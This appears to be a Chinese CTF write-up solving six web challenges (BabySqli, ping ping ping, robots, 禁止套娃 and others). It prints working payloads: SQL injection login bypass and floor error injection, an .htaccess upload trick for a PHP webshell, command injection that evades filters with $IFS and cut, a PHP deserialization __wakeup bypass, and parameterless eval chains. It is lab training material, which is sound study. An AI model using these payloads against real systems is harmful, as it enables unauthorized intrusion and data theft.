0x01 BabySqli
一个登陆页面
随便手测了一下应该可以盲注,直接上sqlmap跑:
sqlmap -u "http://183.129.189.60:10006/search.php" --data="name=*&pw=123" --dbs
passwd为一个md5加密后的值,而且无法解密
题目也说了对密码进行了md5加密,所以我们肯定无法直接登陆了,观察源代码,有一段字符:
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
base32+base64解密得到:select *from user where username=’$name’
一头雾水,根本不知道怎么利用,下面将一个骚操作:
首先看一下payload:
POST
name=0' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'--+&pw=1
首先查找用户名,为0,返回空或者报错,但是我们加了一个union select 也就是相当于创建了一个虚拟表,实操一下:
可以看到现在三个参数都可控,而且题目需要用户名为admin,所以username的2改成admin,同时我们需要输入一个密码,并且密码经过md5加密要=数据库中的数据,所以payload中pw=1,第三列也就是password就要填1的md5值,id随便:
0x02 BabySqli v2.0
这题考宽字节,报错注入,双写绕过,这里普通的报错函数用不了,猜测可能是被过滤了,我这里用了floor注入,注出来有base64加密,而且这里flag有歌词的base64干扰,找了一会才找到flag,当然也可以写脚本
name=%df' and(seselectlect 1 from(sselectelect count(*),concat((sselectelect (sselectelect (SESELECTLECT concat(327a6c4304ad5938eaf0efb6cc3e53dc) FROM f14g limit 22,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+&pw=123
把结果base64解密:GXY{g0Od_job1im_so_vegetable}
0x03 babyupload
打开是一个文件上传,直接burp抓包,尝试上传php,得到反馈不能上传后缀带有ph的文件:
那么猜测是黑名单的验证,尝试上传.htaccess,内容为:
<FilesMatch "pho">
SetHandler application/x-httpd-php
</FilesMatch>
意思是将所有名字为pho的东西都当成php解析,上传成功得到路径访问看看:
会发现404了,猜测应该是服务器自动删除了
那么我们就可以用条件竞争,也不算是条件竞争吧,大致意思就是:只要够快,灾难始终慢我一步
然后因为这里无论上传多少次路径都不变,所以我们就要爆破持续上传.htaccess和jpg的图片马,然后访问图片路径
对了,这里system被禁了,所以需要用readfile读flag
0x04 ping ping ping
尝试命令执行,直接用;闭合:
127.0.0.1;ls
看到flag.php,不过测试了一下,禁了很多东西,包括空格和flag和*,所以肯定不能直接cat flag了,先来看看index.php,过滤内容肯定在里面
可以用$IFS$9来代替空格,得到源码
127.0.0.1;cat$IFS$9index.php
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
}
else if(preg_match("/ /", $ip)){
die("fxck your space!");
}
else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
}
else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
发现这里对flag用了*匹配,这要咋绕啊,*也被禁了,好吧学习一波
首先看一下linux里的系统变量$PATH:
然后了解一下linux里得到cut命令:
cut 命令从文件的每一行剪切字节、字符和字段并将这些字节、字符和字段写至标准输出
下面是可以带的参数
-b :以字节为单位进行分割。这些字节位置将忽略多字节字符边界,除非也指定了 -n 标志。
-c :以字符为单位进行分割。
-d :自定义分隔符,默认为制表符。
-f :与-d一起使用,指定显示哪个区域。
-n :取消分割多字节字符。仅和 -b 标志一起使用。如果字符的最后一个字节落在由 -b 标志的 List 参数指示的
范围之内,该字符将被写出;否则,该字符将被排除
大致了解一下知道可以用cut对字符串进行分割,如果我们:
echo $PATH | cut -c6
这样就能拿到l
了,然后就能用上面那个东西代替l,这样就能bypass了:
payload
127.0.0.1;a=f;b=ag;cat$IFS$a`echo$IFS$PATH|cut$IFS-c6`$b.php
还有一种思路是base64,如
0x05 Do you know robots
根据题目robots,访问robots.txt,得到index.php~,访问得到源码:
<?php
class FileReader{
public $Filename;
public $start;
public $max_length;
function __construct(){
$this->Filename = __DIR__ . "/bcm.txt";
$this->start = 12;
$this->max_length = 72;
}
function __wakeup(){
$this->Filename = __DIR__ . "/fake_f1ag.php";
$this->start = 10;
$this->max_length = 0;
echo "<script>alert(1)</script>";
}
function __destruct(){
$data = file_get_contents($this->Filename, 0, NULL, $this->start, $this->max_length);
if(preg_match("/\{|\}/", $data)){
die("you can't read flag!");
}
else{
echo $data;
}
}
}
if(isset($_GET['exp'])){
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['exp'])){
die("hack!");
}
$exp = $_REQUEST['exp'];
$e = unserialize($exp);
echo $e->Filename;
}
else{
$exp = new FileReader();
}
?>
是一道反序列化,访问flag.php没报错证明flag在该文件下,并且可以通过反序列化中的__destruct魔术方法中的file_get_contents去读flag.php,但是wakeup对filename做了限制,这里可以用序列化属性个数不同来绕过wakeup的方法,先创建一个类的实例
$a=new FileReader();
因为可以看到源码中对读取到的结果{}进行了过滤,而flag肯定又{}包裹,所以我们用php伪协议来base64加密flag
$a->Filename='php://filter/convert.base64-encode/resource=flag.php'
得到序列化的结果:
O:10:“FileReader”:3:{s:8:“Filename”;s:52:“php://filter/convert.base64-encode/resource=flag.php”;s:5:“start”;i:12;s:10:“max_length”;i:72;}
然后改属性为4绕过wakeup:
O:10:“FileReader”:4:{s:8:“Filename”;s:52:“php://filter/convert.base64-encode/resource=flag.php”;s:5:“start”;i:12;s:10:“max_length”;i:72;}
来到最后一个过滤也就是对flag进行过滤,这里过滤比较严格,因为这里观察到他只对get方式传参的进行过滤,而下面又被重新赋值了一次
$exp = $_REQUEST['exp'];
所以我们在get中可以传个123,然后再post下传序列化的值
得到加密结果,base64解密:
0x06 禁止套娃
.git泄露,恢复源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z|\-]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|nt|info|dec|bin|hex|oct|pi|log/i', $code)) {
// echo $_GET['exp'];
eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
三层过滤
第一层:不能用php伪协议读文件
第二层:看到这个正则想到无参命令执行
第三层:过滤了一些函数,可以看到过滤了et等,也就是不能用包含et的函数
首先尝试访问flag.php文件,发现没报错,证明在网站根目录下
payload1:
print_r(highlight_file(next(array_reverse(scandir(pos(localeconv()))))));
localeconv() 函数返回包含本地数字及货币格式信息的数组,结合pos能得到.
也就是当前目录,然后再加上scandir就能获取当前目录的所有的文件,得到:
然后用array_filp函数反转一下,现在flag就在数组的第二个,再用next指向当前数组的下一跳,就能指向flag.php,然后用highlight_file读文件
payload2:(nepnep战队wp的骚操作
readfile(session_id(session_start()));
session_start — 启动新会话或者重用现有会话
session_id — 获取/设置当前会话 ID
然后把cookie中的PHPSESSID改成flag.php